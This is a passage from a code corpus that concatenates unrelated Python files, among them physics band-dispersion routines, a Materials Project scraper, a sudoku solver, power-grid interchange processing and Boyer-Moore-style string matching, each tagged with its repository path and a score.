logger.debug("Running non_parabolic_energy_4.")
if kshift is None:
kshift = [0.0, 0.0, 0.0]
k = k - kshift
k2 = k * k
ak2 = np.sum(a * k2, axis=1)
k8 = np.power(ak2, 4.0)
k2 = np.sum(k2 / effmass, axis=1)
return e0 + constants.bandunit * k2 + scale * k8
def non_parabolic_velocity_4(k, effmass, a, scale, kshift=None):
r"""
Calculates the group velocity for the energy dispersion generated in :func:`non_parabolic_energy_4`.
Parameters
----------
k : ndarray
| Dimension: (N,3)
Contains the N k-point in cartesian coordinates where
the dispersion is to be evaluated.
effmass : ndarray
| Dimension: (3)
Contains the effective mass along the three k-point
directions. Only the diagonal components of the effective
mass tensor is used. In units of the free electron mass.
a : ndarray
| Dimension: (3)
The non parabolic coefficients in front of each :math:`k^2`
direction which translates to :math:`a^4k^8` in the one
dimensional case.
scale : float
The scale factor in front of the non-parabolic correction
kshift : ndarray, optional
| Dimension: (3)
The shift along the respective k-point vectors in
cartesian coordinates.
Returns
-------
vx, vy, vz : ndarray, ndarray, ndarray
| Dimension: (N),(N),(N)
Contains the group velocity at each N k-points
for each direction defined by the direction of the k-point
unit axis. Units of eVAA.
Notes
-----
This routines calculates the group velocity according to
.. math:: v=\\frac{\\partial E}{\\partial \\vec{k}},
where
.. math:: E=\\frac{\\hbar^2 k^2}{2m}+a^4k^8.
Setting :math:`a` to zero yields a parabolic dispersion
and thus its group velocity.
.. warning:: The factor :math:`\\hbar^{-1}` is not returned and need to be included externally.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running non_parabolic_velocity_4.")
if kshift is None:
kshift = [0.0, 0.0, 0.0]
k = k - kshift
k2 = k * k
k2 = np.sum(a * k2, axis=1)
k6 = np.power(k2, 3.0)
parabolic = np.divide(2.0 * constants.bandunit, effmass)
scaling = (parabolic + scale * 8.0 * np.column_stack(
(a[0] * k6, a[1] * k6, a[2] * k6))).T
spreadkz, spreadky, spreadkx = k.T[2], k.T[1], k.T[0]
vx = np.multiply(scaling[0], spreadkx)
vy = np.multiply(scaling[1], spreadky)
vz = np.multiply(scaling[2], spreadkz)
return vx, vy, vz
def non_parabolic_energy_5(k, _, a, scale, e0=0.0, kshift=None):
r"""
Calculates a linear energy dispersion.
Parameters
----------
k : ndarray
| Dimension: (N,3)
Contains the N k-point coordinates (cartesian) where the
dispersion is to be evaluated.
_ : A dummy.
a : ndarray
| Dimension: (3)
The coefficients in front of each :math:`k^2`
direction which translates to :math:`\\sqrt(a)k` in the one
dimensional case.
scale : float
The scale factor in front of the linear expression.
e0 : float, optional
Shift of the energy scale in eV.
kshift : ndarray, optional
| Dimension: (3)
The shift along the respective k-point vectors in
cartesian coordinates.
Returns
-------
ndarray
| Dimension: (N)
Contains the energy dispersion in eV at each N k-points.
Notes
-----
This routines calculates the energy dispersion according to
(in one dimension)
.. math:: E=a\\sqrt(k^2).
Multiplied by the scale factor in front of this.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running non_parabolic_energy_5.")
if kshift is None:
kshift = [0.0, 0.0, 0.0]
k = k - kshift
k2 = k * k
k2 = np.sum(a * k2, axis=1)
return e0 + scale * np.sqrt(k2)
def non_parabolic_velocity_5(k, _, a, scale, kshift=None):
r"""
Calculates the group velocity for the energy dispersion generated in :func:`non_parabolic_energy_5`.
Parameters
----------
k : ndarray
| Dimension: (N,3)
Contains the N k-point in cartesian coordinates where
the dispersion is to be evaluated.
_ : A dummy.
a : ndarray
| Dimension: (3)
The coefficients in front of each :math:`k^2`
direction which translates to :math:`\\sqrt(a)k` in the one
dimensional case.
scale : float
The scale factor in front of the linear expression.
kshift : ndarray, optional
| Dimension: (3)
The shift along the respective k-point vectors in
cartesian coordinates.
Returns
-------
vx, vy, vz : ndarray, ndarray, ndarray
| Dimension: (N),(N),(N)
Contains the group velocity at each N k-points
for each direction defined by the direction of the k-point
unit axis. Units of eVAA.
Notes
-----
This routines calculates the group velocity according to
.. math:: v=\\frac{\\partial E}{\\partial \\vec{k}},
where
.. math:: E=a\\sqrt(k^2).
Multiplied by the scale factor in front of this.
.. warning:: The factor :math:`\\hbar^{-1}` is not returned and need to be included externally.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running non_parabolic_velocity_5.")
if kshift is None:
kshift = [0.0, 0.0, 0.0]
k = k - kshift
k2 = k * k
k2 = np.sum(a * k2, axis=1)
vx = scale * a[0] * k[:, 0] / np.sqrt(k2)
vy = scale * a[1] * k[:, 1] / np.sqrt(k2)
vz = scale * a[2] * k[:, 2] / np.sqrt(k2)
return vx, vy, vz
def non_parabolic_energy_2(k, effmass, a):
r"""
Calculates a non-parabolic energy dispersion.
Parameters
----------
k : ndarray
| Dimension: (N,3)
Contains the N k-point cartesian coordinates where the
dispersion is to be evaluated.
effmass : float
The effective mass in units of the free electron mass.
a : float
The :math:`\\alpha` factor.
Returns
-------
ndarray
| Dimension: (N)
Contains the energy in eV at each N k-points for each
direction defined by the direction of the k-point unit axis.
Notes
-----
This routine calculates the energy dispersion according to
.. math:: E(1+\\alpha E)=\\frac{\\hbar^2k^2}{2m},
where :math:`\\alpha` is a parameter that adjust the
non-parabolicity
Note that if :math:`m` is negative (valence bands), the square
root is undefined for :math:`k^2>=m/(2\\alpha \\hbar)`, which is
a rather limited k-space volume. Consider (either :math:`m` or
:math:`\\alpha` negative).
.. math:: m=m_e, \\alpha=1.0 (E_g=1.0 \\mathrm{eV})
\\rightarrow |\\vec{k}| \\geq 0.26 \\mathrm{AA^{-1}}
.. math:: m=0.1m_e, \\alpha=1.0 \\rightarrow |\\vec{k}|
\\geq 0.081 \\mathrm{AA^{-1}}
.. math:: m=10m_e, \\alpha=1.0 \\rightarrow |\\vec{k}|
\\geq 0.81 \\mathrm{AA^{-1}}
.. math:: m=m_e, \\alpha=10.0 (E_g=0.1 \\mathrm{eV})
\\rightarrow |\\vec{k}| \\geq 0.81 \\mathrm{AA^{-1}}
.. math:: m=m_e, \\alpha=0.1 (E_g=10 \\mathrm{eV})
\\rightarrow |\\vec{k}| \\geq 0.081 \\mathrm{AA^{-1}}
For a simple cell of 10 :math:`\\mathrm{AA}`, the BZ border is
typically at 0.31 :math:`\\mathrm{AA^{-1}}` and for a smaller
cell, e.g. 3.1 :math:`\\mathrm{AA}`, the BZ border is here
at 1.0 :math:`\\mathrm{AA^{-1}}`.
.. warning:: In order to be able to use all values of
:math:`a`, we return a linear :math:`E(\\vec{k})`
in the undefined region (the last defined value
of :math:`E(\\vec{k})` is used). This is highly
unphysical, so we print a warning to notice the user
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running non_parabolic_energy_2.")
if (effmass < 0 and a > 0) or (effmass > 0 and a < 0): # pylint: disable=chained-comparison
k2 = np.sum(k * k, axis=1)
last_valid_k2 = -effmass / \
(4 * a * constants.bandunit) - constants.zerocut
last_valid_energy = (
-1.0 +
np.sqrt(1 + 4 * a *
(constants.bandunit * last_valid_k2 / effmass))) / (2 * a)
logger.warning(
"The product of the effective mass "
"and non parabolic correction factor "
"is negative. The Kane model is thus "
"only defined for a restricted k-vector set. "
"Returning a linear E(k)=E in the undefined "
"region, where the linear E is the last "
"allowed value. USER BEWARE THAT THE "
"TRANSPORT INTEGRALS COULD PICK UP THIS "
"DISCONTINUITY. Last valid energy for "
"the Kane model is %s eV. Remember no "
"band folding is performed.", str(last_valid_energy))
energy = constants.bandunit * k2 / effmass
# need to loop manually to fill the array outside the
# valid range
for i in range(k2.shape[0]):
if k2[i] < last_valid_k2:
energy[i] = (-1.0 + np.sqrt(1 + 4 * a * energy[i])) / (2 * a)
else:
energy[i] = last_valid_energy
return energy
e_parabolic = constants.bandunit * \
np.sum(k * k, axis=1) / effmass
return (-1.0 + np.sqrt(1 + 4 * a * e_parabolic)) / (2 * a)
def non_parabolic_velocity_2(k, effmass, a):
r"""
Calculates the group velocity for the energy dispersion generated in :func:`non_parabolic_energy_2`.
For both parabolic and non-parabolic.
Parameters
----------
k : ndarray
| Dimension: (N,3)
Contains the N k-point in cartesian coordinates where
the dispersion is to be evaluated.
effmass : float
The effective mass in units of the free electron mass.
a : ndarray
| Dimension: (3)
The :math:`\\alpha` factor.
Returns
-------
vx, vy, vz : ndarray, ndarray, ndarray
| Dimension: (N), (N), (N)
The group velocity along each axis in the reciprocal
unit cell. In units of eVAA.
Notes
-----
Consult comments in :func:`non_parabolic_energy_1`
.. warning:: The factor :math:`\\hbar^{-1}` is not returned and need to be included externally.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running non_parabolic_velocity_2.")
spreadkz, spreadky, spreadkx = k.T[2], k.T[1], k.T[0]
# check validity
if (effmass < 0 and a > 0) or (effmass > 0 and a < 0): # pylint: disable=chained-comparison
k2 = np.sum(k * k, axis=1)
last_valid_k2 = -effmass / \
(4 * a * constants.bandunit)
energy = constants.bandunit * k2 / effmass
last_valid_energy = (
-1.0 +
np.sqrt(1 + 4 * a *
(constants.bandunit * last_valid_k2 / effmass))) / (2 * a)
# need to loop manually to fill the array outside the
# valid range
for i in range(k2.shape[0]):
if k2[i] < last_valid_k2:
energy[i] = (-1.0 + np.sqrt(1 + 4 * a * energy[i])) / (2 * a)
else:
energy[i] = last_valid_energy
else:
e_parabolic = constants.bandunit * \
np.sum(k * k, axis=1) / effmass
energy = (-1.0 + np.sqrt(1 + 4 * a * e_parabolic)) / (2 * a)
scaling = 2.0 * constants.bandunit / (effmass * (1 + 2 * a * energy))
vx = np.multiply(scaling, spreadkx)
vy = np.multiply(scaling, spreadky)
vz = np.multiply(scaling, spreadkz)
return vx, vy, vz
def parabolic_effective_mass(effmass_t):
"""
Checks if the supplied effective mass array is parabolic.
Parameters
----------
effmass_t : ndarray
The effective mass tensor in units of the free
electron mass.
Returns
-------
boolean
True if parabolic tensors, False otherwise.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running parabolic_effective_mass.")
effmass = effmass_t[0]
if not np.allclose(np.array([effmass, effmass, effmass]),
effmass_t,
atol=constants.zerocut):
return False
return True
| 1.976563 | 2 |
spyke/enums/other.py | m4reQ/spyke | 0 | 12789666 | import enum
class CameraType(enum.Enum):
Orthographic = enum.auto()
Perspective = enum.auto()
class Vendor(enum.Enum):
Nvidia = enum.auto()
Intel = enum.auto()
Amd = enum.auto()
WindowsSoftware = enum.auto()
Unknown = enum.auto() | 2.328125 | 2 |
src/ops/python/rec_dataset.py | lonway/poeem | 38 | 12789667 | <reponame>lonway/poeem<filename>src/ops/python/rec_dataset.py
import tensorflow as tf
from tensorflow.python.framework import ops
from tensorflow.python.data.ops import dataset_ops
from tensorflow.python.framework import dtypes
from poeem.ops.bin import rec_dataset_op
class RecDataset(dataset_ops.Dataset):
def _apply_options(self): # otherwise tf1.15 would apply OptimizeDataset.
return self
def __init__(self,
train_file = "",
user_file = "",
item_file = "",
user_column_index = 0,
item_column_index = 1,
neg_item_count = 0):
self.train_file = ops.convert_to_tensor(
train_file,
dtype=dtypes.string,
name="train_file")
self.user_file = ops.convert_to_tensor(
user_file,
dtype=dtypes.string,
name="user_file")
self.item_file = ops.convert_to_tensor(
item_file,
dtype=dtypes.string,
name="item_file")
self.user_column_index = ops.convert_to_tensor(
user_column_index,
dtype=dtypes.int32,
name="user_column_index")
self.item_column_index = ops.convert_to_tensor(
item_column_index,
dtype=dtypes.int32,
name="item_column_index")
self.neg_item_count = ops.convert_to_tensor(
neg_item_count,
dtype=dtypes.int32,
name="neg_item_count")
# Create any input attrs or tensors as members of this class.
super(RecDataset, self).__init__()
def _as_variant_tensor(self):
return rec_dataset_op.rec_dataset(
self.train_file,
self.user_file,
self.item_file,
self.user_column_index,
self.item_column_index,
self.neg_item_count)
def _inputs(self):
return []
@property
def output_types(self):
return tf.string
@property
def output_shapes(self):
return tf.TensorShape([])
@property
def output_classes(self):
return tf.Tensor
| 2.203125 | 2 |
unlockgnn/datalib/mining.py | CalvinCYY/unlockGNN | 0 | 12789668 | """Tools to scrape relevant compound data from Materials Project and label their ions' SSEs appropriately."""
from multiprocessing import Pool
from operator import itemgetter
from pathlib import Path
from typing import Optional, Tuple, Union
import pandas as pd
import pyarrow.feather as feather
import pymatgen
import smact.data_loader as smact_data
from matminer.data_retrieval.retrieve_MP import MPDataRetrieval
from smact.structure_prediction.structure import SmactStructure
def download_structures(
mp_api_key: str, file: Optional[Union[str, Path]] = None
) -> pd.DataFrame:
"""Create database of MP IDs and structures.
Queries for binary compounds with experimentally determined crystal structures
that have been reported to the ICSD.
Optionally, writes a database of their `material_id`s and their structures as a feather
to the specified file.
Args:
mp_api_key (str): The `Materials Project`_ API key to use.
file (str, optional): The path to the file, to which to write the feathered data.
If omitted (None), does not write to a file.
Returns:
:obj:`pd.DataFrame`: A dataframe containting the materials IDs and structures
of the compounds.
.. _Materials Project:
https://materialsproject.org/open
"""
df_mp = MPDataRetrieval(mp_api_key).get_dataframe(
criteria={"icsd_ids.0": {"$exists": True}, "nelements": 2},
properties=["material_id", "structure"],
index_mpid=False, # Index isn't preserved when writing to file
)
df_mp["structure"] = [structure.to_json() for structure in df_mp["structure"]]
if file is not None:
feather.write_feather(df_mp, file)
return df_mp
def get_smact_struct(py_struct) -> Union[SmactStructure, None]:
"""Get a SMACT structure from a pymatgen structure and handle errors.
If bond valencey can't be determined, returns `None`.
Args:
py_struct (:obj:`pymatgen.Structure`): The structure to convert.
Returns:
:obj:`SmactStructure`, optional: The SmactStructure object, or `None`
if the bond valency could not be determined.
"""
try:
return SmactStructure.from_py_struct(py_struct)
except ValueError:
return None
def add_smact_structs(
df: pd.DataFrame, file: Optional[Union[str, Path]] = None
) -> pd.DataFrame:
"""Add species columns to a DataFrame containing pymatgen `Structure`s.
Species column is entitled 'species'. Removes rows that cannot be
converted due to ambiguous bond valency. Optionally outputs the new DataFrame to a file.
Args:
df (:obj:`pd.DataFrame`): A DataFrame containing pymatgen structures in a
column entitled 'structure'.
file (str, optional): The path to a file, to which to write the feathered data.
If omitted (None), does not write to a file.
Returns:
df (:obj:`pd.DataFrame`): The DataFrame with added species columns.
"""
structures = (
pymatgen.Structure.from_str(struct, "json") for struct in df["structure"]
)
with Pool() as pool:
df["smact_struct"] = pool.map(get_smact_struct, structures)
df.dropna(inplace=True)
df["smact_struct"] = [struct.as_poscar() for struct in df["smact_struct"]]
if file is not None:
feather.write_feather(df, file)
return df
def lookup_sse(
symbol: str, charge: int, pauling_fallback: bool = True
) -> Optional[float]:
"""Lookup the SSE of an ion, given its symbol and charge.
Args:
symbol (str): The elemental symbol of the species.
charge (int): The oxidation state of the ion.
pauling_fallback (bool): Whether to load estimate from the Pauling database
if data does not exist in the calculated SSE database.
Returns:
SSE (float or None): The SSE of the ion, or `None` if it
is not in the SMACT database.
"""
data_2015 = smact_data.lookup_element_sse2015_data(symbol, copy=False)
try:
for data in data_2015:
if data["OxidationState"] == charge:
return data["SolidStateEnergy2015"]
except TypeError:
pass # Got `None` from sse2015 lookup
if pauling_fallback:
data_pauli = smact_data.lookup_element_sse_pauling_data(symbol)
try:
return data_pauli["SolidStateEnergyPauling"]
except TypeError:
pass # Got `None` from sse_pauli lookup
return None
def get_cat_an_sse(
smact_struct: SmactStructure,
) -> Tuple[Optional[float], Optional[float]]:
"""Return the cation and anion SSEs of ions in a binary compound.
If there are multiple oxidation states per element, this function
returns `None` for both cation and anion SSE.
Args:
smact_struct (:obj:`SmactStructure`): The `SmactStructure` of the compound.
Returns:
cation_sse (float): The SSE of the cation, or `None` if compound
is not binary.
anion_sse (float): The SSE of the anion, or `None` if compound
is not binary.
"""
if len(smact_struct.species) != 2:
# More than two combinations of element and charge exist in the compound
return (None, None)
# Determine anion and cation by sorting on charge
anion, cation = tuple(sorted(smact_struct.species, key=itemgetter(1)))
anion_sse = lookup_sse(anion[0], anion[1])
cation_sse = lookup_sse(cation[0], cation[1])
return cation_sse, anion_sse
def extract_sse_data(
df: pd.DataFrame, file: Optional[Union[str, Path]] = None
) -> pd.DataFrame:
"""Add columns for SSEs to a DataFrame containing `SmactStructure`s.
Cation SSE contained in 'cat_sse', anion sse contained in 'an_sse'.
Optionally outputs the new DataFrame to a file.
Args:
df (:obj:`pd.DataFrame`): A DataFrame containing `SmactStructure`s in a
column entitled 'smact_struct'.
file (str, optional): The path to a file, to which to write the feathered data.
If omitted (None), does not write to a file.
Returns:
df (:obj:`pd.DataFrame`): The DataFrame with added `SmactStructure`s.
"""
smact_structs = map(SmactStructure.from_poscar, df["smact_struct"])
cat_an_sses = list(map(get_cat_an_sse, smact_structs))
df["cat_sse"] = list(map(itemgetter(0), cat_an_sses))
df["an_sse"] = list(map(itemgetter(1), cat_an_sses))
df.dropna(inplace=True)
if file is not None:
feather.write_feather(df, file)
return df
| 2.6875 | 3 |
discord/ext/ui/message.py | sushi-chaaaan/discord-ext-ui-fork | 27 | 12789669 | from __future__ import annotations
from typing import Union
import discord
from discord import ui
from .item import Item
class Message:
def __init__(
self,
content: str = "",
embeds: list[discord.Embed] = None,
components: list[Union[list[Item], Item]] = None):
self._content = content
self._embeds: list[discord.Embed] = embeds or []
self._components: list[Union[list[Item], Item]] = components or []
def content(self, content: str) -> Message:
self._content = content
return self
def embed(self, embed: discord.Embed) -> Message:
self._embeds.append(embed)
return self
def embeds(self, embeds: list[discord.Embed]) -> Message:
self._embeds.extend(embeds)
return self
def item(self, item: Union[list[Item], Item]) -> Message:
self._components.append(item)
return self
def items(self, items: list[Union[list[Item], Item]]) -> Message:
self._components.extend(items)
return self
def get_discord_items(self) -> list[ui.Item]:
row = 0
items = []
for component in self._components:
if isinstance(component, list):
for sub_component in component: # type: Item
items.append(sub_component.to_discord_item(row))
row += 1
else:
items.append(component.to_discord_item(None))
return items
def __eq__(self, other: Message) -> bool:
return self._components == other._components\
and self._embeds == other._embeds\
and self._content == other._content
| 2.8125 | 3 |
biometrics/sex_mismatch.py | msk-access/biometrics | 1 | 12789670 | import pandas as pd
import numpy as np
class SexMismatch:
"""
Class to detect sex mismatch
"""
def __init__(self, threshold):
self.threshold = threshold
def predict_sex(self, sample):
if sample.region_counts is None:
return np.nan
total_count = sample.region_counts['count'].sum()
predicted_sex = 'M' if total_count > self.threshold else 'F'
return predicted_sex
def detect_mismatch(self, samples):
results = []
for i, sample_name in enumerate(samples):
sample = samples[sample_name]
predicted_sex = self.predict_sex(sample)
results.append({
'sample': sample_name,
'expected_sex': sample.sample_sex,
'predicted_sex': predicted_sex
})
results = pd.DataFrame(results)
results['sex_mismatch'] = \
(results['expected_sex'] != results['predicted_sex']).astype(str)
results.loc[pd.isna(results['predicted_sex']), 'sex_mismatch'] = np.nan
return results
| 3.0625 | 3 |
bin/calculate_dataset_metrics.py | samsungnlp/semeval2022-task9 | 0 | 12789671 | #!/usr/bin/env python
import pprint
from src.data_question_class_statistics import QuestionClassStatistics
from src.data_statistics import PassageStatsCalculator, QuestionsAnswersMinMaxAvgStats
from src.data_statistics_closed_set_answers import ClosedSetAnswerChecker
from src.data_statistics_extractive_answer import ExtractiveAnswerChecker
from src.data_statistics_extractive_answer import RecoverableAnswerChecker, AppendHandler
from src.datafile_parser import DatafileParser
from src.get_root import get_root
if __name__ == "__main__":
rec = RecoverableAnswerChecker()
handler = AppendHandler()
rec.handler_on_non_recoverable_items.append(handler)
qcc = QuestionClassStatistics()
dataset = DatafileParser.get_resource("val")
checkers = [PassageStatsCalculator(), QuestionsAnswersMinMaxAvgStats(), ExtractiveAnswerChecker(), rec,
ClosedSetAnswerChecker(), QuestionClassStatistics(), qcc]
ret = {}
for checker in checkers:
metrics = checker.calc_statistics(dataset)
ret.update(metrics)
pprint.pprint(ret)
qcc.save_to_excel_workbook_per_class(f"{get_root()}/resources/")
| 2.15625 | 2 |
Python/other/sudoku_backtracking.py | zhcet19/NeoAlgo-1 | 897 | 12789672 | <filename>Python/other/sudoku_backtracking.py
def solve(board, i=0, j=0):
i,j = nextCell(board, i, j)
if i == -1:
return True
for e in range(1,10):
if isValid(board,i,j,e):
board[i][j] = e
if solve(board, i, j):
return True
board[i][j] = 0
return False
def print_board(board):
for i in range(len(board)):
if i % 3 ==0 and i != 0:
print("------------------------")
for j in range(len(board[0])):
if j % 3 ==0 and j !=0:
print("|",end="")
if j == 8:
print(board[i][j])
else:
print(str(board[i][j]) + " " , end="")
def nextCell(board, i, j):
for x in range(i,9):
for y in range(j,9):
if board[x][y] == 0:
return x,y
for x in range(0,9):
for y in range(0,9):
if board[x][y] == 0:
return x,y
return -1,-1
def isValid(board,x,y,n):
for i in range(9):
if board[x][i] == n or board[i][y] == n:
return False
new_x = x//3 * 3
new_y = y//3 * 3
for i in range(3):
for j in range(3):
if board[new_x + i][new_y + j] == n:
return False
return True
if __name__ == "__main__":
print("Enter the numbers row by row, and put 0 for empty space:")
board = [[int(input()) for x in range (9)] for y in range(9)]
solve(board)
print_board(board)
"""
Let's say we have this board: Empty space is replaced with 0.
[[5, 3, 0, 0, 7, 0, 0, 0, 0],
[6, 0, 0, 1, 9, 5, 0, 0, 0],
[0, 9, 8, 0, 0, 0, 0, 6, 0],
[8, 0, 0, 0, 6, 0, 0, 0, 3],
[4, 0, 0, 8, 0, 3, 0, 0, 1],
[7, 0, 0, 0, 2, 0, 0, 0, 6],
[0, 6, 0, 0, 0, 0, 2, 8, 0],
[0, 0, 0, 4, 1, 9, 0, 0, 5],
[0, 0, 0, 0, 8, 0, 0, 7, 9]]
# When the program asks for input we give like this :
5, 3, 0, 0, 7, 0, 0, 0, 0,6, 0, 0, 1, 9, 5, 0, 0, 0,0, 9, 8, 0, 0, 0, 0, 6, 0, 8, 0, 0, 0, 6, 0, 0, 0, 3,4,
0, 0, 8, 0, 3, 0, 0, 1, 7, 0, 0, 0, 2, 0, 0, 0, 6, 0, 6, 0, 0, 0, 0, 2, 8, 0,0, 0, 0, 4, 1, 9, 0, 0, 5, 0, 0, 0, 0, 8, 0, 0, 7, 9
#output will look like this:
5 3 4 |6 7 8 |9 1 2
6 7 2 |1 9 5 |3 4 8
1 9 8 |3 4 2 |5 6 7
------------------------
8 5 9 |7 6 1 |4 2 3
4 2 6 |8 5 3 |7 9 1
7 1 3 |9 2 4 |8 5 6
------------------------
9 6 1 |5 3 7 |2 8 4
2 8 7 |4 1 9 |6 3 5
3 4 5 |2 8 6 |1 7 9
"""
| 4.25 | 4 |
Model_setup/NEISO_exchange_time_series.py | keremakdemir/ISONE_UCED | 0 | 12789673 | # -*- coding: utf-8 -*-
"""
Created on Mon May 14 17:29:16 2018
@author: jdkern
"""
from __future__ import division
import pandas as pd
import numpy as np
def exchange(year):
df_data = pd.read_csv('../Time_series_data/Synthetic_demand_pathflows/Sim_daily_interchange.csv',header=0)
paths = ['SALBRYNB', 'ROSETON', 'HQ_P1_P2', 'HQHIGATE', 'SHOREHAM', 'NORTHPORT']
df_data = df_data[paths]
df_data = df_data.loc[year*365:year*365+364,:]
# select dispatchable imports (positive flow days)
imports = df_data
imports = imports.reset_index()
for p in paths:
for i in range(0,len(imports)):
if imports.loc[i,p] < 0:
imports.loc[i,p] = 0
else:
pass
imports_total = imports.copy()
imports_total.rename(columns={'SALBRYNB':'NB_imports_ME'}, inplace=True)
imports_total['HYDRO_QUEBEC'] = imports_total['HQ_P1_P2'] + imports_total['HQHIGATE']
imports_total['NEWYORK'] = imports_total['ROSETON'] + imports_total['SHOREHAM'] + imports_total['NORTHPORT']
imports_total['NY_imports_CT'] = imports_total['NEWYORK'].mul(4).div(9)
imports_total['NY_imports_WCMA'] = imports_total['NEWYORK'].div(9)
imports_total['NY_imports_VT'] = imports_total['NEWYORK'].mul(4).div(9)
imports_total.rename(columns={'HYDRO_QUEBEC':'HQ_imports_VT'}, inplace=True)
del imports_total['ROSETON']
del imports_total['HQ_P1_P2']
del imports_total['HQHIGATE']
del imports_total['SHOREHAM']
del imports_total['NORTHPORT']
del imports_total['NEWYORK']
imports_total.to_csv('Path_setup/NEISO_dispatchable_imports.csv')
# hourly exports
df_data = pd.read_csv('../Time_series_data/Synthetic_demand_pathflows/Sim_daily_interchange.csv',header=0)
df_data = df_data[paths]
df_data = df_data.loc[year*365:year*365+364,:]
df_data = df_data.reset_index()
e = np.zeros((8760,len(paths)))
#SALBRYNB
path_profiles = pd.read_excel('Path_setup/NEISO_path_export_profiles.xlsx',sheet_name='SALBRYNB',header=None)
pp = path_profiles.values
for i in range(0,len(df_data)):
if df_data.loc[i,'SALBRYNB'] < 0:
e[i*24:i*24+24,0] = pp[i,:]*df_data.loc[i,'SALBRYNB']*-1
#ROSETON
path_profiles = pd.read_excel('Path_setup/NEISO_path_export_profiles.xlsx',sheet_name='ROSETON',header=None)
pp = path_profiles.values
for i in range(0,len(df_data)):
if df_data.loc[i,'ROSETON'] < 0:
e[i*24:i*24+24,1] = pp[i,:]*df_data.loc[i,'ROSETON']*-1
#HQ_P1_P2
path_profiles = pd.read_excel('Path_setup/NEISO_path_export_profiles.xlsx',sheet_name='HQ_P1_P2',header=None)
pp = path_profiles.values
for i in range(0,len(df_data)):
if df_data.loc[i,'HQ_P1_P2'] < 0:
e[i*24:i*24+24,2] = pp[i,:]*df_data.loc[i,'HQ_P1_P2']*-1
#HQHIGATE
path_profiles = pd.read_excel('Path_setup/NEISO_path_export_profiles.xlsx',sheet_name='HQHIGATE',header=None)
pp = path_profiles.values
for i in range(0,len(df_data)):
if df_data.loc[i,'HQHIGATE'] < 0:
e[i*24:i*24+24,3] = pp[i,:]*df_data.loc[i,'HQHIGATE']*-1
#SHOREHAM
path_profiles = pd.read_excel('Path_setup/NEISO_path_export_profiles.xlsx',sheet_name='SHOREHAM',header=None)
pp = path_profiles.values
for i in range(0,len(df_data)):
if df_data.loc[i,'SHOREHAM'] < 0:
e[i*24:i*24+24,4] = pp[i,:]*df_data.loc[i,'SHOREHAM']*-1
#NORTHPORT
path_profiles = pd.read_excel('Path_setup/NEISO_path_export_profiles.xlsx',sheet_name='NORTHPORT',header=None)
pp = path_profiles.values
for i in range(0,len(df_data)):
if df_data.loc[i,'NORTHPORT'] < 0:
e[i*24:i*24+24,5] = pp[i,:]*df_data.loc[i,'NORTHPORT']*-1
exports = pd.DataFrame(e)
exports.columns = paths
exports_total = exports.copy()
exports_total.rename(columns={'SALBRYNB':'ME_exports_NB'}, inplace=True)
exports_total['HYDRO_QUEBEC'] = exports_total['HQ_P1_P2'] + exports_total['HQHIGATE']
exports_total['NEWYORK'] = exports_total['ROSETON'] + exports_total['SHOREHAM'] + exports_total['NORTHPORT']
exports_total['CT_exports_NY'] = exports_total['NEWYORK'].mul(4).div(9)
exports_total['WCMA_exports_NY'] = exports_total['NEWYORK'].div(9)
exports_total['VT_exports_NY'] = exports_total['NEWYORK'].mul(4).div(9)
exports_total.rename(columns={'HYDRO_QUEBEC':'VT_exports_HQ'}, inplace=True)
del exports_total['ROSETON']
del exports_total['HQ_P1_P2']
del exports_total['HQHIGATE']
del exports_total['SHOREHAM']
del exports_total['NORTHPORT']
del exports_total['NEWYORK']
exports_total.to_csv('Path_setup/NEISO_exports.csv')
return None
| 2.4375 | 2 |
exact_string_matching/backward.py | pmikolajczyk41/string-algorithms | 0 | 12789674 | <gh_stars>0
from common import suffix
def brute_force(t, w, n, m):
i = 1
while i <= n - m + 1:
j = m
while j > 0 and t[i + j - 1] == w[j]:
j = j - 1
if j == 0:
yield i
i = i + 1
def weak_boyer_moore(t, w, n, m):
wBM = suffix.weak_boyer_moore_shift(w, m)
i = 1
while i <= n - m + 1:
j = m
while j > 0 and t[i + j - 1] == w[j]:
j = j - 1
if j == 0:
yield i
i = i + wBM[j]
def boyer_moore(t, w, n, m):
BM = suffix.boyer_moore_shift(w, m)
i = 1
while i <= n - m + 1:
j = m
while j > 0 and t[i + j - 1] == w[j]:
j = j - 1
if j == 0:
yield i
i = i + BM[j]
def boyer_moore_galil(t, w, n, m):
BM = suffix.boyer_moore_shift(w, m)
i, memory = 1, 0
while i <= n - m + 1:
j = m
while j > memory and t[i + j - 1] == w[j]:
j = j - 1
if j == memory:
yield i
i, memory = i + BM[0], m - BM[0]
else:
i, memory = i + BM[j], 0
def boyer_moore_bad_shift(t, w, n, m):
BM, LAST = suffix.boyer_moore_shift(w, m), suffix.last_occurrence(w[:-1])
i = 1
while i <= n - m + 1:
j = m
while j > 0 and t[i + j - 1] == w[j]:
j = j - 1
if j == 0:
yield i
bad_character = LAST.get(t[i + j - 1], 0)
i = i + max(BM[j], j - bad_character)
def bad_shift_heuristic(t, w, n, m):
LAST = suffix.last_occurrence(w)
i = 1
while i <= n - m + 1:
j = m
while j > 0 and t[i + j - 1] == w[j]:
j = j - 1
if j == 0:
yield i
bad_character = LAST.get(t[i + j - 1], 0)
i = i + max(1, j - bad_character)
def quick_search(t, w, n, m):
LAST = suffix.last_occurrence(w)
i = 1
while i <= n - m + 1:
j = 1
while j <= m and t[i + j - 1] == w[j]:
j = j + 1
if j == m + 1:
yield i
bad_character = LAST.get(t[i + m], 0) if i + m <= n else 0
i = i + (m + 1 - bad_character)
def horspool(t, w, n, m):
LAST = suffix.last_occurrence(w[:-1])
i = 1
while i <= n - m + 1:
c = t[i + m - 1]
if w[m] == c:
j = 1
while j < m and t[i + j - 1] == w[j]:
j = j + 1
if j == m:
yield i
bad_character = LAST.get(c, 0)
i = i + (m - bad_character)
| 2.484375 | 2 |
tests/test_contact.py | rehanalam1/python-o365 | 0 | 12789675 | from O365 import contact
import unittest
import json
import time
class Resp:
def __init__(self,json_string,code=None):
self.jsons = json_string
self.status_code = code
def json(self):
